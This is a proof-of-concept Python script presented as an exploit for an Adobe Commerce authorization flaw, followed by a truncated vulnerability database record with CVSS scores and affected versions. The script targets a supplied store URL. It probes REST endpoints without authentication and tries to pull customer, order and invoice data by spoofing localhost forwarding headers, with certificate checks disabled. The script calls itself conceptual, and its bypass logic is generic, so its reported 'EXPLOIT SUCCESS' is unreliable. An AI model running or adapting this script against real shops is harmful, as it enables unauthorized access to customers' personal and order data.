CVE-2025-54265

# CVE-2025-54265 - Adobe Commerce Incorrect Authorization PoC # This is a conceptual PoC demonstrating the authorization bypass vulnerability # Note: Actual exploitation requires specific conditions beyond attacker's control import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-commerce-site.com" # Step 1: Probe for vulnerable endpoints without authentication # The vulnerability allows unauthorized read access via bypassed authorization checks def check_vulnerable_endpoints(base_url): """ Check for endpoints that may be accessible without proper authorization due to Incorrect Authorization vulnerability (CVE-2025-54265) """ # Common Adobe Commerce API endpoints that may be affected endpoints = [ "/rest/V1/customers/search", "/rest/V1/orders", "/rest/V1/products", "/rest/all/V1/customers/me", "/admin/admin/dashboard/", "/api/products", "/api/orders", ] headers = { "User-Agent": "Mozilla/5.0 (compatible; SecurityResearch/1.0)", "Accept": "application/json" } for endpoint in endpoints: url = f"{base_url}{endpoint}" try: # Attempt unauthorized access - no authentication provided response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if endpoint returns sensitive data without auth if response.status_code == 200 and len(response.content) > 100: print(f"[POTENTIAL] {endpoint} - Status: {response.status_code}") print(f" Response preview: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print(f"[PROTECTED] {endpoint} - Status: {response.status_code}") else: print(f"[INFO] {endpoint} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[ERROR] {endpoint} - {str(e)}") def exploit_authorization_bypass(base_url): """ Attempt to exploit the authorization bypass to read sensitive data """ # Craft requests that may bypass authorization checks bypass_headers = { "User-Agent": "Mozilla/5.0", "X-Requested-With": "XMLHttpRequest", "Accept": "application/json, text/plain, */*", # Various header manipulation techniques to bypass auth "X-Forwarded-For": "127.0.0.1", "X-Real-IP": "127.0.0.1", } # Attempt to access restricted resources sensitive_endpoints = [ "/rest/V1/customers/search?searchCriteria", "/rest/V1/orders?searchCriteria", "/rest/V1/invoices?searchCriteria", ] for endpoint in sensitive_endpoints: url = f"{base_url}{endpoint}" try: response = requests.get(url, headers=bypass_headers, timeout=10, verify=False) if response.status_code == 200: print(f"\n[EXPLOIT SUCCESS] Unauthorized access to: {endpoint}") print(f"Data leaked: {response.text[:500]}") return True except Exception as e: print(f"[ERROR] {endpoint}: {e}") return False if __name__ == "__main__": print(f"[*] CVE-2025-54265 - Adobe Commerce Authorization Bypass Checker") print(f"[*] Target: {TARGET_URL}") print(f"[*] Scanning for vulnerable endpoints...\n") check_vulnerable_endpoints(TARGET_URL) print("\n[*] Attempting exploitation...") if exploit_authorization_bypass(TARGET_URL): print("[!] Target appears vulnerable to CVE-2025-54265") else: print("[+] Target appears to be patched or not vulnerable")

{"cve": {"id": "CVE-2025-54265", "sourceIdentifier": "[email protected]", "published": "2025-10-14T21:15:35.260", "lastModified": "2026-04-28T15:39:42.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier are affected by an Incorrect Authorization vulnerability. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:-:*:*:*:*:*:*", "matchCriteriaId": "D258D9EF-94FB-41F0-A7A5-7F66FA7A0055"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p1:*:*:*:*:*:*", "matchCriteriaId": "4E5CF6F0-2388-4D3F-8FE1-43B8AF148564"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p10:*:*:*:*:*:*", "matchCriteriaId": "1C3D7164-1C5F-40BC-9EEC-B0E00CD45808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p11:*:*:*:*:*:*", "matchCriteriaId": "68AAE162-5957-42AF-BE20-40F341837FAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p12:*:*:*:*:*:*", "matchCriteriaId": "D9D01159-3309-4F6B-93B0-2D89DDD33DEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p13:*:*:*:*:*:*", "matchCriteriaId": "91736E79-D8E7-4AF2-8E01-A7B4EB8AD6F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p14:*:*:*:*:*:*", "matchCriteriaId": "8412C043-64E7-4DFF-A303-13A6FE113BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p15:*:*:*:*:*:*", "matchCriteriaId": "BBDA2BCF-E784-4CF3-B30D-6FF5BEE2055F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p2:*:*:*:*:*:*", "matchCriteriaId": "D6D6F1A7-ABB5-4EDC-9EA8-98B74518847A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p3:*:*:*:*:*:*", "matchCriteriaId": "CFEBDDF2-6443-4482-83B2-3CD272CF599F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p4:*:*:*:*:*:*", "matchCriteriaId": "6661093F-8D22-450F-BC6C-A8894A52E6A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p5:*:*:*:*:*:*", "matchCriteriaId": "2515DA6D-2E74-4A05-BD29-FEEF3322BCB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p6:*:*:*:*:*:*", "matchCriteriaId": "69A1F1F7-E53C-40F3-B3D9-DC011FC353BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p7:*:*:*:*:*:*", "matchCriteriaId": "6A56E96C-6CE5-442C-AA88-F0059B02B5E7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p8:*:*:*:*:*:*", "matchCriteriaId": "8867F510-201C-4199-8554-53DE156CE669"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.4:p9:*:*:*:*:*:*", "matchCriteriaId": "23988132-DD4E-4968-B6B8-954122F76081"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:-:*:*:*:*:*:*", "matchCriteriaId": "9B07F7B2-E915-4EFF-8FFC-91143CEF082E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p1:*:*:*:*:*:*", "matchCriteriaId": "7F5E9DB6-1386-4274-8270-2FE0F0CAF7FD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p10:*:*:*:*:*:*", "matchCriteriaId": "5764CC97-C866-415D-A3A1-5B5B9E1C06A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p11:*:*:*:*:*:*", "matchCriteriaId": "E82D10D8-2894-4E5B-B47B-F00964DD5CDE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p12:*:*:*:*:*:*", "matchCriteriaId": "B044F2D9-E888-4852-8A40-DCE688860ED3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p13:*:*:*:*:*:*", "matchCriteriaId": "6423C754-36F9-4680-9211-60940ED63E79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:commerce:2.4.5:p14:*:*:*:*:*: ... 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